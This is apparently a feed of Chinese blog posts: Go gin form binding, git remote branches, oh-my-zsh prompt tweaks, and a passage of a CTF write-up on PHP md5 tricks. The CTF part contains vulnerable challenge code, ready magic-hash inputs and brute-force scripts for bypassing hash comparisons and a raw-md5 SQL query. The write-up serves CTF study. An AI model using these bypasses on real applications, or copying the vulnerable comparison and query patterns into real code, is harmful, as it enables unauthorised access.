class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE html></span></span><br><span class="line"><span class="tag"><<span class="name">html</span> <span class="attr">lang</span>=<span class="string">"en"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">title</span>></span>Title<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"><span class="tag"><<span class="name">form</span> <span class="attr">action</span>=<span class="string">"/"</span> <span class="attr">method</span>=<span class="string">"POST"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>Check some colors<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">label</span> <span class="attr">for</span>=<span class="string">"red"</span>></span>Red<span class="tag"></<span class="name">label</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"checkbox"</span> <span class="attr">name</span>=<span class="string">"colors[]"</span> <span class="attr">value</span>=<span class="string">"red"</span> <span class="attr">id</span>=<span class="string">"red"</span> /></span><span class="tag"><<span class="name">br</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">label</span> <span class="attr">for</span>=<span class="string">"green"</span>></span>Green<span class="tag"></<span class="name">label</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"checkbox"</span> <span class="attr">name</span>=<span class="string">"colors[]"</span> <span class="attr">value</span>=<span class="string">"green"</span> <span class="attr">id</span>=<span class="string">"green"</span> /></span><span class="tag"><<span class="name">br</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">label</span> <span class="attr">for</span>=<span class="string">"blue"</span>></span>Blue<span class="tag"></<span class="name">label</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"checkbox"</span> <span class="attr">name</span>=<span class="string">"colors[]"</span> <span class="attr">value</span>=<span class="string">"blue"</span> <span class="attr">id</span>=<span class="string">"blue"</span> /></span><span class="tag"><<span class="name">br</span>/></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">label</span> <span class="attr">for</span>=<span class="string">"Student"</span>></span>Name:<span class="tag"></<span class="name">label</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">"name"</span> /></span><span class="tag"><<span class="name">br</span>/></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">label</span> <span class="attr">for</span>=<span class="string">"Student"</span>></span>Age:<span class="tag"></<span class="name">label</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">"age"</span> /></span><span class="tag"><<span class="name">br</span> /></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> /></span></span><br><span class="line"><span class="tag"></<span class="name">form</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><p><code>main.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"github.com/gin-gonic/gin"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Student <span class="keyword">struct</span> {</span><br><span class="line">Name <span class="keyword">string</span> <span class="string">`form:"name"`</span></span><br><span class="line">Age <span class="keyword">int</span> <span class="string">`form:"age"`</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> myForm <span class="keyword">struct</span> {</span><br><span class="line">Colors []<span class="keyword">string</span><span class="string">`form:"colors[]"`</span></span><br><span class="line">Students Student</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">r := gin.Default()</span><br><span class="line">r.LoadHTMLGlob(<span class="string">"views/*"</span>)</span><br><span class="line">r.GET(<span class="string">"/"</span>, indexHandler)</span><br><span class="line">r.POST(<span class="string">"/"</span>, formHandler)</span><br><span class="line">r.Run(<span class="string">":10000"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">indexHandler</span><span class="params">(c *gin.Context)</span></span> {</span><br><span class="line">c.HTML(<span class="number">200</span>, <span class="string">"form.html"</span>, <span class="literal">nil</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">formHandler</span><span class="params">(c *gin.Context)</span></span> {</span><br><span class="line"><span class="keyword">var</span> fakeForm myForm</span><br><span class="line">c.Bind(&fakeForm)</span><br><span class="line">c.JSON(<span class="number">200</span>, gin.H{</span><br><span class="line"><span class="string">"color"</span>: fakeForm.Colors,</span><br><span class="line"><span class="string">"students"</span> : fakeForm.Students,</span><br><span class="line">})</span><br><span class="line">fmt.Println(fakeForm)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>提交后的效果如下图,这里还是比较简单的。</p><p><img src="http://images.xianyu123.club/20210204190402.png" alt="image-20210204190356735"></p><p><img src="http://images.xianyu123.club/20210204190419.png" alt="image-20210204190419952"></p><h1 id="坑2-绑定表单结构体数组"><a href="#坑2-绑定表单结构体数组" class="headerlink" title="坑2 绑定表单结构体数组"></a>坑2 绑定表单结构体数组</h1><p><code>main.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"github.com/gin-gonic/gin"</span></span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Student <span class="keyword">struct</span> {</span><br><span class="line">Name <span class="keyword">string</span> <span class="string">`json:"name"`</span></span><br><span class="line">Age <span class="keyword">int</span> <span class="string">`json:"age"`</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> myForm <span class="keyword">struct</span> {</span><br><span class="line">Students []Student <span class="string">`json:"students"`</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">r := gin.Default()</span><br><span class="line">r.LoadHTMLGlob(<span class="string">"views/*"</span>)</span><br><span class="line">r.GET(<span class="string">"/"</span>, indexHandler)</span><br><span class="line">r.POST(<span class="string">"/test"</span>, formHandler)</span><br><span class="line">r.Run(<span class="string">":10000"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">indexHandler</span><span class="params">(c *gin.Context)</span></span> {</span><br><span class="line">c.HTML(<span class="number">200</span>, <span class="string">"form.html"</span>, <span class="literal">nil</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">formHandler</span><span class="params">(c *gin.Context)</span></span> {</span><br><span class="line"><span class="keyword">var</span> fakeForm myForm</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> err := c.BindJSON(&fakeForm); err != <span class="literal">nil</span> {</span><br><span class="line"><span class="comment">//log.Fatal(err)</span></span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">fmt.Println(fakeForm.Students)</span><br><span class="line">c.JSON(http.StatusOK, fakeForm)</span><br><span class="line"></span><br><span class="line">fmt.Println(fakeForm)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>传入json即可</p><p><img src="http://images.xianyu123.club/20210211234658.png" alt="image-20210211234658717"></p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><p><a href="https://segmentfault.com/q/1010000021179386/a-1020000021180162#" target="_blank" rel="noopener">go binding如何绑定结构体数组</a></p><p><a href="https://github.com/gin-gonic/gin/issues/715" target="_blank" rel="noopener">Question: How bind JSON array</a></p>]]></content>
<summary type="html">
<p>Some summary of gin binding form data and structure encounter pits</p>
</summary>
<category term="Go" scheme="http://0clickjacking0.github.io/categories/Go/"/>
</entry>
<entry>
<title>git创建远程分支</title>
<link href="http://0clickjacking0.github.io/2021/01/29/git%E5%88%9B%E5%BB%BA%E8%BF%9C%E7%A8%8B%E5%88%86%E6%94%AF/"/>
<id>http://0clickjacking0.github.io/2021/01/29/git创建远程分支/</id>
<published>2021-01-29T03:04:24.000Z</published>
<updated>2021-02-03T09:57:14.424Z</updated>
<content type="html"><![CDATA[<p>工作的时候遇到,这里记录一下</p><a id="more"></a><p>假设当前分支为master,需要创建的分支是hello</p><h3 id="1-新建远程分支"><a href="#1-新建远程分支" class="headerlink" title="1. 新建远程分支"></a>1. 新建远程分支</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout -b hello //在当前分支下创建hello的本地分支分支</span><br></pre></td></tr></table></figure><h3 id="2-把新建的本地分支push到远程服务器,远程分支与本地分支同名(当然可以随意起名)"><a href="#2-把新建的本地分支push到远程服务器,远程分支与本地分支同名(当然可以随意起名)" class="headerlink" title="2. 把新建的本地分支push到远程服务器,远程分支与本地分支同名(当然可以随意起名)"></a>2. 把新建的本地分支<strong>push</strong>到远程服务器,远程分支与本地分支同名(当然可以随意起名)</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git push origin hello:hello</span><br></pre></td></tr></table></figure><h3 id="3-查看远程分支"><a href="#3-查看远程分支" class="headerlink" title="3. 查看远程分支"></a>3. 查看远程分支</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git branch -a //查看远程分支</span><br></pre></td></tr></table></figure><h3 id="4-修改本地文件后,推送到远程仓库"><a href="#4-修改本地文件后,推送到远程仓库" class="headerlink" title="4. 修改本地文件后,推送到远程仓库"></a>4. 修改本地文件后,推送到远程仓库</h3><h4 id="添加commit"><a href="#添加commit" class="headerlink" title="添加commit"></a>添加commit</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git commit -a</span><br></pre></td></tr></table></figure><h4 id="将修改推送到远程分支"><a href="#将修改推送到远程分支" class="headerlink" title="将修改推送到远程分支"></a>将修改推送到远程分支</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git push origin hello:hello</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>工作的时候遇到,这里记录一下</p>
</summary>
</entry>
<entry>
<title>oh-my-zsh隐藏用户名或者主机名</title>
<link href="http://0clickjacking0.github.io/2020/10/04/oh-my-zsh%E9%9A%90%E8%97%8F%E7%94%A8%E6%88%B7%E5%90%8D%E6%88%96%E8%80%85%E4%B8%BB%E6%9C%BA%E5%90%8D/"/>
<id>http://0clickjacking0.github.io/2020/10/04/oh-my-zsh隐藏用户名或者主机名/</id>
<published>2020-10-04T07:29:04.000Z</published>
<updated>2020-10-04T07:31:19.904Z</updated>
<content type="html"><![CDATA[<p>oh-my-zsh隐藏用户名或者主机名</p><a id="more"></a><p>修改<code>vim ~/.zshrc</code>文件,在文件底部增加</p><h2 id="隐藏用户名和主机名"><a href="#隐藏用户名和主机名" class="headerlink" title="隐藏用户名和主机名"></a>隐藏用户名和主机名</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">prompt_context() {}</span><br></pre></td></tr></table></figure><h2 id="只保留用户名,隐藏主机名"><a href="#只保留用户名,隐藏主机名" class="headerlink" title="只保留用户名,隐藏主机名"></a>只保留用户名,隐藏主机名</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">prompt_context() {</span><br><span class="line"> if [[ "$USER" != "$DEFAULT_USER" || -n "$SSH_CLIENT" ]]; then</span><br><span class="line"> prompt_segment black default "%(!.%{%F{yellow}%}.)$USER"</span><br><span class="line"> fi</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="只保留主机名,隐藏用户名"><a href="#只保留主机名,隐藏用户名" class="headerlink" title="只保留主机名,隐藏用户名"></a>只保留主机名,隐藏用户名</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">prompt_context() {</span><br><span class="line"> if [[ "$USER" != "$DEFAULT_USER" || -n "$SSH_CLIENT" ]]; then</span><br><span class="line"> prompt_segment black default "%(!.%{%F{yellow}%}.)$HOST"</span><br><span class="line"> fi</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>修改后执行 <code>source ~/.zshrc</code>才能生效</p>]]></content>
<summary type="html">
<p>oh-my-zsh隐藏用户名或者主机名</p>
</summary>
</entry>
<entry>
<title>CTF中关于md5的一些总结</title>
<link href="http://0clickjacking0.github.io/2020/08/24/CTF%E4%B8%AD%E5%85%B3%E4%BA%8Emd5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/"/>
<id>http://0clickjacking0.github.io/2020/08/24/CTF中关于md5的一些总结/</id>
<published>2020-08-24T06:54:15.000Z</published>
<updated>2020-09-06T14:15:33.712Z</updated>
<content type="html"><![CDATA[<p>CTF中关于md5的一些总结</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近打了挺多ctf,碰到挺多关于md5的一些问题,或者一些变种的题目,虽然已经是烂大街的问题了,但是还是需要总结一下,方便下次比赛可以直接用脚本</p><h1 id="CTF中的一些案例"><a href="#CTF中的一些案例" class="headerlink" title="CTF中的一些案例"></a>CTF中的一些案例</h1><h2 id="案例1——ciscn2020初赛——easytrick"><a href="#案例1——ciscn2020初赛——easytrick" class="headerlink" title="案例1——ciscn2020初赛——easytrick"></a>案例1——ciscn2020初赛——easytrick</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">trick</span></span>{</span><br><span class="line"> <span class="keyword">public</span> $trick1;</span><br><span class="line"> <span class="keyword">public</span> $trick2;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->trick1 = (string)<span class="keyword">$this</span>->trick1;</span><br><span class="line"> <span class="keyword">if</span>(strlen(<span class="keyword">$this</span>->trick1) > <span class="number">5</span> || strlen(<span class="keyword">$this</span>->trick2) > <span class="number">5</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"你太长了"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->trick1 !== <span class="keyword">$this</span>->trick2 && md5(<span class="keyword">$this</span>->trick1) === md5(<span class="keyword">$this</span>->trick2) && <span class="keyword">$this</span>->trick1 != <span class="keyword">$this</span>->trick2){</span><br><span class="line"> <span class="keyword">echo</span> file_get_contents(<span class="string">"/flag"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">unserialize($_GET[<span class="string">'trick'</span>]);</span><br></pre></td></tr></table></figure><p>这里我们抛开反序列化不谈,这题本质上需要我们构造<code>trick1=NAN</code>,<code>trick2=NAN</code>即可绕过。原理也很简单,NaN与所有值都不相等,包括它自己。当然也可以用INF绕过,原理类似,这里不过多赘述</p><h2 id="案例2——强网杯2020——Funhash"><a href="#案例2——强网杯2020——Funhash" class="headerlink" title="案例2——强网杯2020——Funhash"></a>案例2——强网杯2020——Funhash</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">include</span> <span class="string">'conn.php'</span>;</span><br><span class="line">highlight_file(<span class="string">"index.php"</span>);</span><br><span class="line"><span class="comment">//level 1</span></span><br><span class="line"><span class="keyword">if</span> ($_GET[<span class="string">"hash1"</span>] != hash(<span class="string">"md4"</span>, $_GET[<span class="string">"hash1"</span>]))</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'level 1 failed'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//level 2</span></span><br><span class="line"><span class="keyword">if</span>($_GET[<span class="string">'hash2'</span>] === $_GET[<span class="string">'hash3'</span>] || md5($_GET[<span class="string">'hash2'</span>]) !== md5($_GET[<span class="string">'hash3'</span>]))</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'level 2 failed'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//level 3</span></span><br><span class="line">$query = <span class="string">"SELECT * FROM flag WHERE password = '"</span> . md5($_GET[<span class="string">"hash4"</span>],<span class="keyword">true</span>) . <span class="string">"'"</span>;</span><br><span class="line">$result = $mysqli->query($query);</span><br><span class="line">$row = $result->fetch_assoc(); </span><br><span class="line">var_dump($row);</span><br><span class="line">$result->free();</span><br><span class="line">$mysqli->close();</span><br></pre></td></tr></table></figure><p>这里重点关注<code>level 1</code>,其他两关都是老生常谈的东西,无须过多赘述。这里我已经写好了脚本,下次遇到这种<code>md4</code>的题目直接爆破干它</p><p><strong>下面给出我已经爆破好的例子:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0e251288019</span><br><span class="line">0e898201062</span><br></pre></td></tr></table></figure><p><strong>exp.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$payload = <span class="string">"0123456789"</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">calc_md4</span><span class="params">($s)</span></span>{</span><br><span class="line"> $s = <span class="string">"0e"</span>.$s;</span><br><span class="line"> $md4 = hash(<span class="string">"md4"</span>, $s);</span><br><span class="line"> <span class="keyword">if</span> (substr($md4, <span class="number">0</span>, <span class="number">2</span>) === <span class="string">"0e"</span> && ctype_digit(substr($md4, <span class="number">2</span>))) {</span><br><span class="line"> <span class="keyword">echo</span> $s.PHP_EOL;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getstr</span><span class="params">($payload,$s,$slen)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(strlen($s) == $slen){</span><br><span class="line"> calc_md4($s);</span><br><span class="line"><span class="keyword">return</span> $s;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span>($i = <span class="number">0</span>;$i<strlen($payload);$i++){</span><br><span class="line"></span><br><span class="line"> $sl = $s.$payload[$i];</span><br><span class="line"> getstr($payload, $sl, $slen);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//字符串长度从3到30,肯定找得到</span></span><br><span class="line"><span class="keyword">for</span>($i = <span class="number">3</span>;$i<<span class="number">30</span>;$i++){</span><br><span class="line"> getstr($payload,<span class="string">''</span>,$i);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="案例3——NJUPT2019南邮校赛——easyphp"><a href="#案例3——NJUPT2019南邮校赛——easyphp" class="headerlink" title="案例3——NJUPT2019南邮校赛——easyphp"></a>案例3——NJUPT2019南邮校赛——easyphp</h2><p>这里我截取了一部分代码,用作案例讲解</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">$string_1 = $_GET[<span class="string">'str1'</span>];</span><br><span class="line">$string_2 = $_GET[<span class="string">'str2'</span>];</span><br><span class="line"><span class="comment">//2nd</span></span><br><span class="line"><span class="keyword">if</span>(is_numeric($string_1)){</span><br><span class="line"> $md5_1 = md5($string_1);</span><br><span class="line"> $md5_2 = md5($string_2);</span><br><span class="line"> <span class="keyword">if</span>($md5_1 != $md5_2){</span><br><span class="line"> $a = strtr($md5_1, <span class="string">'cxhp'</span>, <span class="string">'0123'</span>);</span><br><span class="line"> $b = strtr($md5_2, <span class="string">'cxhp'</span>, <span class="string">'0123'</span>);</span><br><span class="line"> <span class="keyword">if</span>($a == $b){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'2nd ok'</span>.<span class="string">"<br>"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"can u give me the right str???"</span>);</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"no!!!!!!!!"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里的关键就是,需要我们找两个个是<code>ce</code>开头的,然后<code>ce</code>后面是纯数字的md5值</p><p><strong>下面给出我已经爆破好的例子:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">N9KU3</span><br><span class="line">QlYRH</span><br></pre></td></tr></table></figure><p>爆破的脚本如下</p><p><strong>exp.py</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line">payload = string.ascii_letters+string.digits</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calc_md5</span><span class="params">(s)</span>:</span></span><br><span class="line"> md5 = hashlib.md5(s.encode(<span class="string">"utf-8"</span>)).hexdigest()</span><br><span class="line"> <span class="keyword">if</span> (md5[<span class="number">0</span>:<span class="number">2</span>] == <span class="string">"ce"</span> <span class="keyword">and</span> md5[<span class="number">2</span>:].isdigit()) :</span><br><span class="line"> print(s)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getstr</span><span class="params">(payload,s,slen)</span>:</span></span><br><span class="line"> <span class="keyword">if</span>(len(s) == slen):</span><br><span class="line"> calc_md5(s)</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> payload:</span><br><span class="line"> sl = s+i</span><br><span class="line"> getstr(payload, sl, slen)</span><br><span class="line"> </span><br><span class="line"><span class="comment"># 字符串长度从0到30,肯定找得到</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">3</span>,<span class="number">30</span>):</span><br><span class="line"> getstr(payload,<span class="string">''</span>,i)</span><br></pre></td></tr></table></figure><h2 id="案例4——双MD5碰撞绕过"><a href="#案例4——双MD5碰撞绕过" class="headerlink" title="案例4——双MD5碰撞绕过"></a>案例4——双MD5碰撞绕过</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'a'</span>]) && <span class="keyword">isset</span>($_GET[<span class="string">'b'</span>])) {</span><br><span class="line"> $a = $_GET[<span class="string">'a'</span>];</span><br><span class="line"> $b = $_GET[<span class="string">'b'</span>];</span><br><span class="line"> <span class="keyword">if</span> ($a != $b && md5($a) == md5(md5($b))) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"flag{XXXXX}"</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"wrong!"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'wrong!'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>这里其实我们只要找出<code>md5(md5($b))</code>是<code>0e</code>开头的且<code>0e</code>后面是纯数字的字符串即可</p><p><strong>下面给出我已经爆破好的例子:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">f2WfQ</span><br><span class="line">iv2Cn</span><br></pre></td></tr></table></figure><p>爆破脚本如下:</p><p><strong>exp.py</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 